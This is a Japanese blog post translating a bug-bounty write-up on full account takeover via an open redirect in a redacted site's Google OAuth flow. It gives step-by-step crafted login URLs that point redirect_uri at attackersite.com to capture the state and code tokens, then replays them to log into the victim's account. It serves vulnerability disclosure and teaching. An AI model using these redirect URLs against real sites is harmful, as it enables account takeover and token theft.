Shikata Ga Nai

Private? There is no such things.

Full Account Takeover via Open Redirectionを訳してみた

Hello there, ('ω')ノ

 

オープンリダイレクトによる完全なアカウント乗っ取りを。

 

脆弱性:

 オープンリダイレクト

 トークン漏洩

 アカウント乗っ取り

 OAuth

 

記事:

 https://medium.com/@vflexo/full-account-takeover-via-open-redirection-41c167db46

 

Google O-auth でこのオープン リダイレクトの脆弱性を見つけたので、

それをさらに悪用できるかどうかを確認することに。

サイト名は明かさないので、サイト名を redacted.com として。

O-auth URL は次のようになり。

 

https://redacted.com/login?action=login&state=29f16a7e5c6f2b9970450b14a30f59d4&scope=&response_type=code&approval_prompt=auto&redirect_uri=https://app.redacted.com/auth/oauthCallback&client_id=4jivia3ebm9mbpcj22i2n29pdi

 

redirect_uri パラメータに https://tinder.com を挿入して。

 

https://redacted.com/login?action=login&state=29f16a7e5c6f2b9970450b14a30f59d4&scope=&response_type=code&approval_prompt=auto&redirect_uri=https://tinder.com/auth/oauthCallback&client_id=4jivia3ebm9mbpcj22i2n29pdi

 

次に、このリンクをロードし、ブラウザから Google アカウントを選択して

Google 経由でログインしましたが、ログインプロセスが完了すると、

tinder.com にリダイレクトされて。

 

また、state パラメータと code パラメータとその値も tinder.com に送信され。

上のスクリーンショットでそれがはっきりとわかり。

ここで、同じオープン リダイレクトを再度実行しましたが、

今回は各リクエストをインターセプトし、監視してから転送し。

このプロセス中に、次のようなリンクを見つけて。

 

https://app.redacted.com/auth/oauthCallback?state=afc167244e4216d28a652c4b3fb37651&code=7f7abb1ee5e44692884a20218ce798

 

Burp Suiteのインターセプトからこのリンクをコピーし、

別のブラウザに貼り付けてログインして。

 

URL https://app.redacted.com/auth/oauthCallback?state=afc167244e4216d28a652c4b3fb37651&code=7f7abb1ee5e44692884a20218ce798

 

上記の state パラメータと code パラメータに、Google SSO 経由でユーザを

ログインさせる 2 つのトークンがあることが確認され。

これら 2 つのトークンは、O-auth プロセスが完了し、Google がこれらの

トークンの形でゴーサインを出すと、Google アカウント用に取得されて。

トークンを盗んで URL に追加すると、次のようになり。

 

https://app.redacted.com/auth/oauthCallback?state=afc167244e4216d28a652c4b3fb37651&code=7f7abb1ee5e44692884a20218ce798

 

上記をクリックしてリンクを開くと、これらの O-auth トークンが属していた人の

アカウントにログインして。

 

トークンを盗む方法:

1.redirect_uri パラメータに攻撃者サイトを指定して URL を被害者に配信して。

 

 https://redacted.com/login?action=login&state=29f16a7e5c6f2b9970450b14a30f59d4&scope=&response_type=code&approval_prompt=auto&redirect_uri=https://attackersite.com/auth/oauthCallback&client_id=4jivia3ebm9mbpcj22i2n29pdi

 

2.被害者が Google でサインインすると、攻撃者が管理する Attackersite.com で

 トークンが受信され。

 攻撃者が被害者のトークンを取得したら、それらのトークン

 (stateパラメータとcodeパラメータ値) を次の URL に入れるだけで。

 

 https://app.redacted.com/auth/oauthCallback?state=VALUE1&code=VALUE2

 

そして、この URL をロードすると、被害者のアカウントにログインされ、

完全なアカウント乗っ取りが行われて。

 

Best regards, (^^ゞ